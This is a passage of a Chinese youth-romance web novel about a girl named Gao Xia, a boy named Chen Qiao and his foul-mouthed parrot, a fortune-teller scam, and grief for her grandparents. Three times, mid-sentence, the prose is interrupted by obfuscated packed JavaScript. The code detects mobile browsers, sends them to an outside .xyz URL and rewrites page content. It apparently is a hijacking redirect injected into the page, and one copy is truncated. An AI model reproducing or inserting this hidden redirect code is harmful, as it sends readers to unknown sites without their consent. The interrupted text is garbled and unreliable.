赵叔正下着粉,看见她顿时笑起来,“小夏来啦,一路过来热吧,先进去吹会儿空调。”说完又朝着收拾碗筷的老婆说:“媳妇儿,小夏过来了,你去把冰柜里的梅子拿过来。” “老家摘的杨梅,记得你爱吃,特意留了一些等你来。” 赵叔一家是妈妈那边的远亲,其实已经算不得亲了,他们一家初来乍到,人生地不熟,一通辗转几问的电话还是打到妈妈手机上,问他们哪里适合开个早餐店,粉包子都卖。 妈妈想了好久也没想到还有这个亲戚,那头也有些不好意思,说了两家渊源。接待他们第一天,大巴车上下来两个朴实的中年人,背着破旧的包,包太重压弯了他们的背,手上还提着许多土特产。 活着的鸡鸭扑腾,他们特不好意思,粗粝泛着老茧的手在裤子上擦了又擦,才握住对面伸出的手,一直说你好你好,给你们添麻烦了。那场景高夏很难忘记,那时她七岁,记忆中的大人都是像爸爸妈妈一样的人,穿着制服,她最喜欢妈妈的办公室,有漂亮姐姐给她讲故事。 而面前的这两个大人,跟她认知中的大人不一样。 饭桌上,两位大人比她这个小孩还局促紧张,一兜杨梅转到高夏面前,那位穿着碎花衫的阿姨说,老家摘的,酸酸的,不知道小夏喜不喜欢吃。 其实他们两个根本没有抱希望高夏爱吃,城里的小孩吃的都是水果店,这种酸不溜秋的怎么会瞧得上。 小高夏吃一颗就被酸得脸皱起,那模样引起高崇平跟夏白春止不住笑,高崇平拿起随身带着的ccd拍下照片,记录这一幕。高崇平是吃过这个杨梅的,说回去教她正确吃法。 后来店铺选定签合同,赵叔两口子请他们一家吃饭,小高夏兴奋跑过去拉住阿姨的手,小高夏肤白,精致得像洋娃娃,仰着小脸软声软气说:“阿姨,那个杨梅很好吃,我很喜欢。谢谢你们送给我吃。” 这家店谁也没有料到一开就是这么多年,口味好,回头客多,口口相传,有些住很远的人也会跑过来尝一尝。店子忙,两口子回老家的次数越来越少,就过年回家一趟,这杨梅高夏也好多年没吃着了。 高夏心中暖乎乎的,眼睛弯了弯,“谢谢叔叔阿姨。” 吴玉兰拿盐水泡了一遍,她也不知道高夏要撒多少盐,就让高夏自己弄了。吴姨还是穿着碎花衫,但已经跟记忆中的模样不一样了。 吴姨跟她说过,她以前不叫做吴玉兰,叫吴招娣。她不喜欢这个名字,所以到岱川落脚后的第一件事就是去改名字,她喜欢玉兰花,但她没见过玉兰花,只是听过名字就喜欢上了。她不明白,男孩跟女孩差别有那么大吗?为什么非得要个男孩呢,即便他是个只会吃喝拉撒的废物,也是块宝,她觉得真是不公平啊。 高夏那会儿只是小高夏,她攥紧了吴玉兰的手,另一只手擦去吴玉兰眼角的泪。 吴阿姨,你现在见过玉兰花了。 想得出神,对面什么时候坐了个人都不知道。 陈峤下班完回来的时候准备应付一口,这家店是他新发现的宝藏店,味道好价格美,他成为了常客。附近有工地在施工,有些工人也会跑到这里来吃碗粉,他进来的时候已经没有空位了,阿姨让他去最角落那个小桌坐一下。 对面的少女在发呆,桌上摆着一盘杨梅,他将饮料放到桌上,低头玩手机。 高夏先看见那瓶多出来的乌龙茶,冰镇过后的瓶身水珠滑落,晕开一圈在木桌上。她视线缓缓上挪,对面的少年手肘搭在桌上,低垂脑袋看手机。 吴姨拌好粉送过来,不好意思地对高夏说:“夏夏,店里坐不下了,我就让他跟你一桌挤挤,你不介意吧?” 吴玉兰身上总伴随一种讨好感,只要别人不喜欢,她立马就会道歉。高夏赶紧说:“哎呀没关系的,本来我就空占一个位置,”恰好有人在外头点单了,“吴姨你先忙吧。” 相遇过数次的两个人,同一张桌上彼此安静无言。 社交法则中,再不相熟的两个人在同一个地点碰到三次之后,都会相视一笑,感慨好巧啊,再有几次这类巧合,那就是得认识一下了,何况此时的面对面。 桌上一盘蘸盐的野杨梅,高夏推过去一点问他吃吗?对面的少年抬起眼,似乎是诧愣她会开口,愣了一下。 高夏第一次这么近距离跟他对视着,她眨眼帧数变低,扫到他眼尾有一颗很淡的痣,高挺鼻梁,嘴唇紧抿着。 半响,他说出一句谢谢,抬手从盘子里拿了一颗梅子。 酸涩混杂盐,在口中是说不出的奇怪味道。 陈峤勉强吞咽,拿起桌上的乌龙茶喝了一大口,他抬起眼看她,她正往嘴里塞杨梅,指尖染红,她抽纸擦拭,同他对视。 眼神里是疑问。 看我干嘛? 陈峤看见她面无表情吃下杨梅,感觉那股奇怪的味道口感再次袭来,他皱皱眉,嘴唇嚅动,最终没讲话,低头吃自己的。 陆陆续续走了一些人,高夏看了看外面,拿相机起身去门口,平台上的图其实不需要多精致,自己拿着手机也可以拍,两口子试了,但明明干净整洁的店,不知道拍出来为什么灰扑扑脏脏的,两口子怕有些人看了店面环境就不想来了,犹豫了好几天才麻烦的高夏。 拍了门头的图,再去拍里面的,高夏举着相机,镜头不偏不倚框进了陈峤,少年白t,干净利落的发型。 她淡淡转身对吴姨跟赵叔说等会儿就把照片导出来,然后帮他们上传了。赵叔摆摆手,上传他们会的,就不要麻烦啦,高夏说没关系的,反正现在她也没事。 她拿着相机坐回原位置,选图片的时候,捻一颗酸梅子,对面的少年完全符合高夏对他的初印象——夏日小怪。 真是奇怪的人,那眼神看自己明明就是有话讲。 高夏滑到他入境的那张,自以为不动声色地瞥了本人一眼,呀,又被抓包了,高夏朝他笑了一下。 她笑起来不是明媚漏齿的,是含羞腼腆怯怯的抿唇笑。 都说人和人初识时是最美好,怎没人说尴尬呢?高夏快速选好照片,拿着赵叔的手机上传,盘子里的杨梅也很快吃完。她几乎是跟他同步站起来的,然后互相对视一眼往外走。 高夏把手机给吴姨,“我弄好啦。吴姨赵叔我就先回去啦。” 吴姨叫住她,走到小房间拿出一桶茶油,叫她带回去。赵叔帮她提到电瓶车上,两家向来如此,高夏家帮再小的一个忙,他们都觉得太麻烦,得送些东西,开始夏白春还会客气,后来发现如果不收下东西,对于他们的内心其实是一种折磨,所以之后,忙二话不说地帮,东西也会不推脱开心地收下。 高夏跟他们说拜拜,让下次有空来家里吃饭。 电瓶驶出一点距离,她看见陈峤慢吞的脚步,他也看见她了,更多的目光是被她的小电瓶吸引了。粉色的雅迪,定制了动漫贴纸,小小痛车。他瞧了一会儿,他阅片量太少,实在不认识这部动漫,便将目光投在了少女身上。 头发散落着,风一吹便看见耳骨上闪着细碎光的耳钉。 他挑挑眉。 高夏一头雾水,不晓得他这举动什么意思,她觉得他好像一团迷雾啊,流言蜚语中的不是他,自己现在这么瞧见的也不是真的他。唯一让她感觉到他身上有活人感,是他跟那个稍胖的男生待在一块的时候。 两个人十字路口留给彼此一道背影。 - 陈峤回到出租屋以后,打开老旧泛黄的立式空调,两室一厅的格局,东西少储存空间大,显得整个房子空荡荡无人烟气息。他将鸟笼打开,小鸟蹭一下飞到他肩头,啄了啄他的头发。 “去你大爷的。” “你好。” “放我出去。” 陈峤:“......” 有时候他真挺想给这只鹦鹉毒哑的。 陈峤抬手轻轻一拂它,“自己玩去。” 他走到房间衣柜拿出换洗的衣服去洗澡,小鸟要跟进浴室,他无情关上门,留一只小鸟在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867121|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叽叽喳喳。 陈峤洗完澡出来换了件新白t黑裤,从家里冰箱拿出一瓶水,走到冷硬的沙发坐下,小鸟飞到了他头顶。他右手握着冰水抬手贴到小鸟脸上。 小鸟怒骂:“王八蛋王八蛋。” “王八蛋找不到女朋友。” 陈峤低声笑了一下,他将小鸟抓进手心,“那家伙一天到晚都教你什么了,还记得谁是你主人吗?” 小鸟啄他的手指。 也有段时间没带它放风了,自己平时出去兼职,鹦鹉都是关在笼里,瞧着也挺可怜,陈峤盯着这五彩和尚看了一会儿,轻弹一下嘴,“带你出去玩会儿,不准再嘴碎。” 岱川的天渐渐暗下来,高夏在店里吃完饭,给锅包肉换新牵引绳,带着它往外走。 固定NPC换了路线,直奔公园,豆腐脑它们还没来,锅包肉哼哼唧唧甩着尾巴抽在高夏小腿上,高夏戴着耳机听英语播客,熟练往后丢了一个球,锅包肉嗖一下跑去。 脚边多出一个绿色的球,头顶上的小鸟受到惊吓扑腾飞起来,追球的小狗改为追鸟了。陈峤拿着球试图将这大狗的注意力吸引过来,再看了一会儿,这狗有点眼熟。 好像叫什么锅包肉来着。 他试探着喊:“锅包肉?” 小狗:“嗷!” “锅包肉,很好,坐下。”确定了这大狗就是那只锅包肉,他下达指令,然后将球丢远,“再去叼回来。” 锅包肉转身风一样疾驰,叼了球回来,热烈的眼神看着眼前的人,狂摇尾巴。 高夏等了好一会儿,也没等到锅包肉叼球回来,她摘下一只耳机,转身去喊:“锅包肉!” 小狗和少年的目光同时看过来,一只小鸟飞到她头顶。 高夏吓了一大跳,立马抬手往头顶乱拍,她惊魂未定站起来退了几步,那只小鸟又飞到她肩膀来了,啄着她发丝。 公园的路灯昏暗,湖边蛙叫树上蝉叫,高夏头脑空白一刹,她瞪圆眼直直往站在草地中央的少年看去。 陈峤往她那走,摸了摸后脑勺不好意思地说:“刚刚我的小鸟吓到你了吧,抱歉。” “回来。” 小鸟从高夏肩头飞回他的肩头。 高夏没养过鸟,只在花鸟市场远远看过笼中鸟,老板说不是手养鸟会啄人,不要伸手碰。乍然一只不知名生物飞到头顶,那瞬间她肾上腺素都飙升了,看清是只鸟以后才渐渐平复下来。 她捂着胸口位置,心跳还有一点点快,“是吓到了,不过也还好。”视线转到站在他肩头的小鸟,养宠人的第一注意点,“你这只小鸟好特别,好聪明啊。” 特别在于颜色,她在花鸟市场可没见过这么漂亮颜色如此梦幻的鹦鹉。 聪明在于,一叫就回去,真乖。 她问:“它有名字吗?” 名字是有的,但不太好听,也改不过来了,这鸟已经认名了,陈峤犹豫了一下,“讲文明。” 说完嘴唇绷成一条直线。 下一秒。 “去年大爷的。” “去你大爷的。” “去你大爷的。” ...... 高夏:“?!” 被忽略的小狗原地转圈嗷呜一声,高夏拍拍狗头,叫它冷静,她现在在思考。 讲文明跟去你大爷的...... 陈峤扭头弹了一下小鸟的嘴,解释道:“讲文明是它的名字。去你大爷的是它的口头禅。” 高夏愣了一会儿扯出一个笑,“那,还真的是挺讲文明的......” 说起这事,陈峤也烦躁,这鹦鹉是高一刚开学没多久他问他妈要的礼物,邻居家儿子放国庆假回来见他房间多了一只鸟,也问它叫什么,他说没取名,齐白站在鹦鹉面前片刻,心里就有了想法,硬生生把鹦鹉的口头禅“早上好啊”改成了“去你大爷的”。 然后给鹦鹉取名讲文明,取完还搭着陈峤的肩,大言不惭地说哥们取得好吧! 当然了,陈峤有纠正过,现在变成了偶尔会说这句话,如果触发名字,那就不知道要讲多久了,而且也不知道这随机混乱的语言系统中能再次蹦出什么惊人的词。 “妈妈。” “妈妈。” 讲文明再次开口。 高夏:“?” 陈峤:“......” 5. 撸小鸟 时间无法同沙漏倒转,陈峤无法回到半小时前,收起那可怜的心。 回去就得给它关禁闭。 高夏眼睛转了转,看着不远处站着的人尴尬笑一下,“它,它是在叫......”我吗? 被一只鹦鹉叫妈妈,其实那瞬间高夏觉得萌萌的,这玩意真招人喜欢啊。 陈峤说它在胡言乱语,别往心里头去。 沉默了一阵,高夏对他这只鹦鹉真的很感兴趣,忍不住问他这是什么品种啊,他将小鸟握在掌心,指腹顺着小鸟缤纷的毛,说叫和尚鹦鹉,抬眼瞧见她眼神亮亮的,又问她要不要撸一下。 高夏说好耶,她只撸过猫和狗,还没有撸过小鸟呢!直到小鸟躺在她手心,她仍然觉得不真实,和猫狗完完全全不一样的触感,小巧的圆鼓鼓的,握在掌心不敢用力,生怕弄疼。 被冷落已久的锅包肉真的很不开心了,委屈嘤嘤叫,趴在地上失了活力。 陈峤蹲下摸了摸锅包肉,给它顺着毛。他想起那日早餐店,潘决说那狗养的真好,毛特舒服,确实,很舒服。小狗也舒服,舒心翻肚皮。 高夏打开了一个新世界,她乐不思蜀跟小鸟对着话,尽管牛头不对马嘴,可是这只小鸟好会哄人哦! “你特别好特别好,是最棒的。” “漂亮,漂亮。” “宝宝,棒。” 两个人坐在长椅上,小宠一下就将两人之间距离拉近,像拉开一罐汽水,滋滋冒着泡。高夏扭过头,兴奋劲还没过,“我上回看见你吹了个口哨,它就飞到你肩头了。你平时都这么遛它吗?” 陈峤稍愣,似乎受到她的情绪感染,唇角不自觉扬了起来,点点头。他有时候早上去湖边骑自行车,小鸟就跟在后面飞,招招手就会停在手上。 高夏目露惊讶,好酷啊,这可比锅包肉聪明啊!像是读懂她的眼神,陈峤笑了一下说:“你的这只狗也很乖很聪明。” 湖边立着禁止钓鱼的牌,旁边站着一个拿鱼竿的人,咻一声,挂着鱼饵的钩落入湖中。那动静很轻,在广场舞音乐迟迟未响的夜里却显得不轻了。 高夏愣神片刻,他笑起来很好看,扑朔朔的寒气抖落一地转为艳阳日。 她偏开脸,小鸟从掌心飞走,飞回主人那儿。 锅包肉一脸怨恨看着自己小主人,小主人已经忘了大明湖畔那只小狗吗?它哼哼唧唧唤醒高夏心中的爱。 大明湖畔的锅巴肉感受到爱的时候已经心中决定,接下来几天都不会再理小主人,罐头有什么用,能换回爱吗?不能!如果是连续三天的罐头加零食的话,小狗想想好像也是可以的呢。 高夏花了三天时间终于把锅包肉哄好,这个吃醋大王真是的。 高一的时候学校有一只鸳鸯眼狮子猫跟其他猫打架,折了一条腿,学校有救助项目,项目成员立马抓住小猫去医院救治,然后发布领养。那会儿高夏也在,她很喜欢这只猫,于是提议她带回去养。 猫砂猫粮猫玩具什么都买好了,也做足了隔离准备,结果一猫一狗将近半年也没磨合好,把高夏跟父母折磨不轻,都快神经衰弱了,最后没办法再找了一个领养人。 妈妈说小狗的爱是唯一的,它要的爱也是唯一。 高夏晚上跟沈昭昭聊天,说招小动物喜欢亲近的人一般都不会是坏人,所以高夏觉得学校的那些言论掺杂了太多的个人情绪,不客观,有失偏颇,不能作为参考去判断一个人。 总之,她觉得陈峤不是他们口中那样的人。 那晚走时跟陈峤加了联系方式,他的头像是一只在天上飘扬的风筝,高夏开始还以为自己加到中年人,网名干脆利落一个“C”,空间也只发了一组小鸟的照片。 似乎是新年时候拍的照片,讲文明头上戴了一顶红色喜庆的帽子。 沈昭昭电话里哼笑一声,“你跟他又不熟,干嘛替他说话啊?” 风扇调着二挡在转,高夏靠着床背,怀中抱了个小玩偶,嗯了一会儿,她说:“不知道啊,就是一种感觉。我的感觉从来没有骗过我。” 沈昭昭想了一会儿:“好吧,我也只从别人嘴里听过他,确实也没接触过。但还是好奇怪哦,如果学校里传言的他是添油加醋的,那怎么会有人忍得住不生气啊?反正我忍不住,我一定会去把乱说的那个人嘴撕烂。” 高夏大概知道他为什么沉得住气,只要不在意就能无视,他有自己的世界。 她又一次点进他的空间,留言板给他留言的人虽少,但也有人的。 她翻了翻,就是初中毕业一些祝福语,其中一个网名叫“厂里打螺丝”的留的最多。 厂里打螺丝:老大毕业快乐,以后都开开心心。 厂里打螺丝:隔壁小芳拒绝我,她居然喜欢你,心碎。 厂里打螺丝:老大你好,再见,我来发个神经。 厂里打螺丝:嗯哼嗯哼蹦叉叉,动我老大全开瓢。 …… 她可能知道这个人是谁了。 那天早餐店坐他对面的那个男生。 沈昭昭拉着她扯了一会儿八卦,然后电话挂断,高夏也摁灭手机,关掉台灯,进入睡梦中。 - 岱川的算命文化很是出名,天桥下戴着黑色圆眼镜,旁边一根拐杖,地上石头压着四角的布,手相面相八字算命,不准不要钱。 高夏书架上的漫画看完了,网购了新的起码还得等半个月,所以她叫上沈昭昭陪她去岛上书吧,这不算是一家专门卖漫画的,还有很多教辅跟文学书籍,来这里买教辅的人偏多。 两个人先去学校门口八加八买了杯珍珠奶茶,这家珍珠跟别的不一样,是粉色的,沈昭昭很爱喝,高夏觉得其实一般般啦,她比较爱喝一点点。 骑小电驴过天桥底下的时候,沈昭昭忽然刹车,高夏骑了一段路讲话没人应,偏头去看哪还有沈昭昭的影子,扭头的时候看见沈昭昭蹲在一算命先生摊前。 她又倒车到沈昭昭旁边,细白长腿支在地面,趴在车头看了一会儿,然后去一旁停好车,捧着奶茶走到沈昭昭旁边蹲下。 “大师,你摸我这手相它有成才的相么?还有啊,我这感情线是怎么个说法啊?” “小姑娘你这手掌硬,见筋见骨,有福气,旺夫。生活一路都还蛮顺的,不会遇到什么大挫折,就学习上差点,但只要你现在多花点功夫,以后也说不准的。小姑娘年纪不大,桃花倒是蛮多嘞,你现在好几个男生喜欢你,但你都没有很喜欢,你喜欢的另有其人,不过啊,那个人现在的心思没放在这上面。哟,这生命线真长,是长命百岁的相。” 沈昭昭狂拍高夏胳膊,“我靠我靠,他算得好准啊!!夏夏你快把你右手给他看一下。” “大师,你快看看我朋友的!” 坐小矮凳的大佬一副世外高人模样,“这个小姑娘心不诚,她不信,我说了也没用。” 高夏:“……” 沈昭昭认为准,是因为说到了她学习和喜欢的人,不像别的算命先生一样千篇一律好话,夸成人中龙凤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867122|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高夏心里叹口气,在沈昭昭激动拜托的目光下说:“大师,我心很诚的,您帮我看看。” 大师架子摆足了,拉过高夏的手,“你这手软绵绵的,要是个男生倒是有福,你以后注定坎坷享不了什么福。” “你要结两次婚。” 说完,沈昭昭顿时一团火在烧,说他算的不准!根本不会算,上面写着十元摸相,不准不给钱,沈昭昭付了自己的过去。然后拉着高夏就要走,大师追上来,说干什么,耍赖啊,亏得还是两个读书的,不晓得尊重别人劳动?快给钱。 高夏拿手机出来准备扫码,沈昭昭夺过去,“你自己说的不准不要钱!” “怎么不准了!你前面不是还说我准。我告诉你们啊,不要给我赖账,不然有得是办法整你们两个小姑娘。” 正午时分,太阳晒得人死,非必要都不会出门,路过的车辆瞥了一眼就离开,似乎对算命摊子上的争执见怪不怪了。 高夏也很生气,但她不喜欢生气地去表达,她淡声说:“多少钱,我扫给你。” “200!” “靠,”沈昭昭惊了,“你干脆去抢好了!上面明明写着十块!” 戴黑眼镜的大师鼻子哼气,“十块是一句话的价格,我刚刚讲了那么多,不止两百,看你们是学生,我还心善给你们打折了。” 十块,高夏就会给了,二百,他做梦去吧。 她要报警,有人宣传封建迷信。 街道热浪一阵阵袭来,路过一辆自行车响铃,他们挡着路了。高夏跟沈昭昭立马侧过身,高夏瞳孔放大一瞬,带着几分意外开口:“陈峤?” 陈峤没想到会在这里碰到她,他刚去给店长送完钥匙回来,热了满头大汗,目光扫过来那一下很冷,蕴着烦躁。 沈昭昭瑟缩了一下,她明明感觉就跟传言中的一样嘛。 看清楚是谁以后,眼神柔和一些,“是你啊。”他又看向拉着高夏胳膊的中年男人,皱了一下眉,“老八,你还敢在这给人算命呢?” “小子你谁啊,想要英雄救美啊……” 陈峤淡定掏出手机找出一个视频给他看。高夏趁着他分神,手松了力,立马甩开他,烦死了。 视频放的是这位大师上回被人拖进小巷子揍,抱着头说以后再也不坑人了,再坑人就祖坟被人刨,老婆跟人跑,自己进局子。 沈昭昭偷瞄举着手机的少年一眼。 高夏皱着的眉头松开,从背包里拿出一包HelloKitty的纸巾,抽一张出来擦拭额头的汗,又抽两张出来,一张给沈昭昭,一张给陈峤。 算命的一边赔笑一边在收拾摊子走人,还说什么这不误会嘛,大水冲了龙王庙,都是一家人。视频后面还有几分钟,陈峤摁灭了手机,她们也没看着,这算命的估摸着上回被揍出心理阴影了。 沈昭昭臭脸转笑,对陈峤说谢谢啊,高夏也看着他点点头。 陈峤看她们两个一眼,也不知道出于什么原因违背过往习惯,多说了一句,“这种算命的都是江湖骗子,下次别再上当了。上回我朋友被坑了五百,气不过才揍了他一顿。” 沈昭昭还想再说什么,高夏知道沈昭昭待会儿要说些什么话,忙拉着她走,走时对着陈峤点点头说知道了,以后会注意的。 那张印着HelloKitty的纸巾还攥在陈峤手心,纸巾散发淡淡香味,他的汗从额角一路滴落,砸在纸面。 手机响了一下。 高夏:【谢谢你哦,你真是个好人。】 6. 反义词 岛上书吧在地下通道,旁边有家奶茶店,对面还有一家文具店,三三两两几个人,书吧老板躺在摇椅上悠悠听着小曲儿。 店里冷气足,一进去,整个人就宛若从大油锅里被捞出放进冰水里降温了。 高夏跟沈昭昭同时啊一声,“好舒服啊。” 舒服过后是去找心灵慰藉,一个去了漫画书架,一个去了小说书架。高夏看见一套古早漫在最顶上,曾经也是烫过的,现在再提起来已经是时代的泪。 她喊老板,能不能帮她把那套漫画拿下来,她要买。 小曲儿戛然而止,老板从摇椅腾一下站起来,穿上拖鞋,拿出小梯子,看着这个跟自己一样高的女生,“真的要买?” 高夏呆了一瞬,点点头,“嗯。” 这套漫画是日版的,之前倒也有几个感兴趣的,但一看是日版的,看不懂啊,买回去收藏,荷包不够鼓,转而求其次买了其他漫画的简中版。 一套漫画搬下来,老板给抱到收银台,高夏说她还要再看看别的。 小曲儿响起另一个旋律。 粤剧《帝女花》,高夏初二暑假在外婆家听过,那会儿她蹲在电视机面前听电视里主角的声音。外婆在院子里放的声音太大,她只能凑近听剧里台词。 结果听半天脑袋里满是——落花满天蔽月光,借一杯附荐凤台上。 外公进来找蒲扇,干枯的手有劲,一把扯过小高夏,从她屁股底下拿起蒲扇。 “离电视这么近要看坏眼睛的,往后坐一些去。” 这桩事被外婆知晓,外婆停了她一个星期观看电视的自由,然后高夏每天都在这首《帝女花》中醒来。 现在让她再听见,竟有些想外公外婆了,高夏吸了一下鼻子,三伏天里的空调也会让人感冒的。她弯下身子找漫画,可惜再也不会有个老头嘴里骂骂咧咧说小日子的东西有什么好看,然后托人帮她找绝版的漫画了。 在高夏都快溺亡在哀思的海里时,一首《帝女花》终于结束。她心中哀哀一声叹,低头嘬完最后一口奶茶,拿了两本漫画去结账,沈昭昭也挑了两本。 高夏拿过去放一块儿,跟老板说:“一起。” 沈昭昭摁住收银台的书,摇头,“不行,今天本来开开心心地出来买东西,结果因为我的鬼迷心窍,害得你心情都糟糕了。” 她脸上情绪波动一直不大,高兴难过都是小幅度的,但沈昭昭跟她认识这么久,感知她的情绪不用看脸。沈昭昭好自责,干嘛要拉着高夏一起算命,好话一句没听着,还差点叫人坑了。 沈昭昭晃一晃高夏的胳膊,“你让我买单吧~” 高夏跟她解释说自己没有在意这件事,沈昭昭不听。最后一阵推,沈昭昭买了自己的小说跟高夏后面拿的两本漫画,那套日版的漫画,高夏则自己买单了。 算命先生说的话,高夏根本没放心上啊,什么手掌软绵绵没有福气,掌心纹路彰显两次婚姻。不管那个人说的好话坏话,她都不会相信。 不会相信,自然影响不到她的心情。 但沈昭昭一直在自责这件事,于是上楼梯的时候,高夏伸出右手,掌心朝上,“昭昭,你看。掌心的纹路像是不同的路,有的延伸很长,有的一半就戛然而止了。”说着又攥紧五指握成拳状,“这样就看不见纹路了。” “我不相信掌心的纹路,我只相信自己攥紧拳头的力量,我同样相信这份力量会跟随我一起长大。” 管手相面相八字呢,人怎么可能出生就被安排好了一切,所有的一切都是自己在做决定。 她拍拍沈昭昭的肩,“但你可以相信。” 沈昭昭懵懵的,还没从高夏刚刚的话中反应过来,“我可以相信什么?” “那个人他是江湖骗子,他说的话不能当真。” 高夏弯弯眼睛,“相信学习上你多下功夫一定不会差啊。” 算命这东西其实也是一种精神寄托,挑着好听的话听就好了,不好听的话当做放屁。 沈昭昭就容易好坏都听进去。 最后一层台阶,阳光拂在她们身上,少女心情瞬间明朗,蹦蹦跳跳的。 - 到家以后高夏把漫画放进书架上,一点一点填满书架,她成就感满满,虽然现在还不多,她拍了一张照片发空间。 配文:【开心~】 发完,她坐到床边,木框窗打开着,风吹进来时翻动空白页,全新的草稿本摆置书桌上,风簌簌吹着。高夏往后一躺,柔软的床陷进去几分,她举着手刷手机。 评论区滑了滑,她回了几个问漫画的,其余插科打诨的没回复。 空间霎时静了下来,她拿过一个娃娃抱着,思念不会有前兆,总是突然一瞬间,她又想到外公外婆了。高夏翻过身侧躺着,手机亮着屏幕在一旁,文字彰显的开心此刻有了反义词,她眼角滑过泪水,止不住下落。 高夏很早的时候就明白了,死亡是突然的,在每一个时间节点都会发生。可明白再多,不意味着她能坦然接受身边人的死亡。 精气神十足的外婆在她初三毕业的暑假摔了一跤,人没有多久就走了,外婆走了,外婆的气也跟着走了,小老头也没有多久跟着离开了。 两位老人家留给高夏的只有一句话,你好好的长大,不要难过。 她听话,有在好好长大,有在让自己不要难过。 手机连响几声,高夏抹一把泪,收好情绪,拿着手机看起来,沈昭昭和陈峤的消息同时发来。 沈昭昭:【呜呜呜,小说被收走了,我妈今天怎么这么早就下班回来了,可恶[怒火]】 沈昭昭:【我的命好苦啊啊啊,在学校被老师收,在家被老妈收,啊啊啊】 沈昭昭:【发疯发疯】 陈峤:【不客气。】 前者正像可云一般在喊:我的小说我的小说! 后者......高夏看了一眼她发送的时间,再看他回复的时间,中间间隔了快有三个小时。 高夏起身从书架拿出放假前沈昭昭从老师那里拿回来的小说。沈昭昭害怕她的小说再次命不保,于是交给高夏,给的时候还握着高夏的手,说我未来的幸福就交给你了,你一定要好好保管啊。 她拍照给沈昭昭。 高夏:【想看哪本了?晚上我遛狗的时候给你送过去。】 沈昭昭收获一张复活卡,她回:【沈昭昭复活成功!我要左边那本。】 是一本古早小说,上学的时候,高夏跟她一块儿去学校对面的二手店淘来的,翻了十来页就光荣上交了。 晚上遛狗的时候,高夏给陈峤发了一条消息,问他今晚会带讲文明出来吗?那头隔了几分钟才回。 陈峤:【今天没有时间,改天。】 过了一会儿,他又发一条。 陈峤:【带出来的时候提前给你发消息。】 高夏回了一个好的,然后从便利店走出来,转了个弯往沈昭昭家方向走。沈昭昭早就在楼下等着了,她跟妈妈说下来接高夏,沈妈妈才放准她出来。 小区门口扯着横幅维权,空荡荡的保安亭前蹲着一个人,穿着棉麻质地的短袖短裤,一双人字拖,手机屏幕光亮映着她脸,能看出来此刻一脸怒气,指尖噼里啪啦地敲着,高夏叫了她一声。 沈昭昭立马变脸笑起来,”夏夏!” 她把手机摁灭,走过去狠狠rua锅包肉,锅包肉害怕后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接头完,房间乍暖,白色灯罩的台灯瞬间扑来小飞蛾,沈昭昭拉着高夏在床上聊天,聊到激动时手舞足蹈,聊完追星又聊到学校八卦。 高夏是个百分百合格倾听者,永远温润如风,不疾不徐听你说着所有话题。恰当时会给出反应,有兴趣时也会跟着一块儿手舞足蹈。 讲到班上体委跟隔壁班文娱委员在一起了,高夏也露出惊讶表情。 明远对早恋的态度很暧昧,原则上不可以,你低调点也当看不见。 但这两个人什么时候有的交集?然后两个人聊着聊着恍然,啊,这两个人军训在一个营,还合唱了一首歌。 沈昭昭忽然想到自己从军训就开始的暗恋,她翻着备忘录的名单,又新增了几个人名,她指着其中一个说,“我也要认真了,就他,我这次正儿八经搞暗恋,不朝三暮四了。” 高夏不相信:“真的吗?” 沈昭昭重重点头,“真的!” 这是沈昭昭第十一次说这句话,高夏意味深长看她一眼,轻点一下头,但愿如此。 东扯西聊一会儿,高夏看一眼时间要走了,沈昭昭想起什么了,拉着她说,“对了,我下午跟我妈出去买水果的时候,看见陈峤在一家快餐店兼职。” 回去的时候高夏有路过沈昭昭说的那家汉堡店,红色门头标准黑体——功夫汉堡。 店内就陈峤一个员工,堂食一桌,外卖倒是不少。高夏没有进去打招呼,两个人毕竟算不上很熟,只是遛宠之交而已,她看了一眼就带着锅包肉离开了。 走的时候迎面走来一个穿格子衫的男生,有点眼熟,但高夏一时对不上人脸,于是两人对视一眼离开,那个男生走进汉堡店。 7. 小雀跃 汉堡店内陈峤正做完一单外卖,打包封好放在一边,工作服穿他身上像时尚T台秀,潘决走到点单区,“帅哥,一个鸡肉卷一杯可乐。” 陈峤撩起眼皮,语气没什么情绪,“卖完了。” “没有就没有吧,小爷我还不乐意吃。”潘决正了正衣领,“老大,你看我有什么变化没?” 陈峤上下扫他一眼,嗯半天,然后憋出一句,“买了件新衣服?” “靠,”潘决无语,“我瘦了啊,瘦了!你看我现在是不是刀削般的脸庞。” 他侧脸过去,使劲吸着口气,舌头顶着上颚。陈峤盯了一会儿,给出反应,鼓了鼓掌,“很棒。” 潘决:“......” 哄小孩呢,潘决那口气松出,双下巴若隐若现,自家老大这张嘴,以后肯定是找不到对象的,注孤生的命,他感慨,还好老大有自己这么好兄弟,愿意不离不弃。 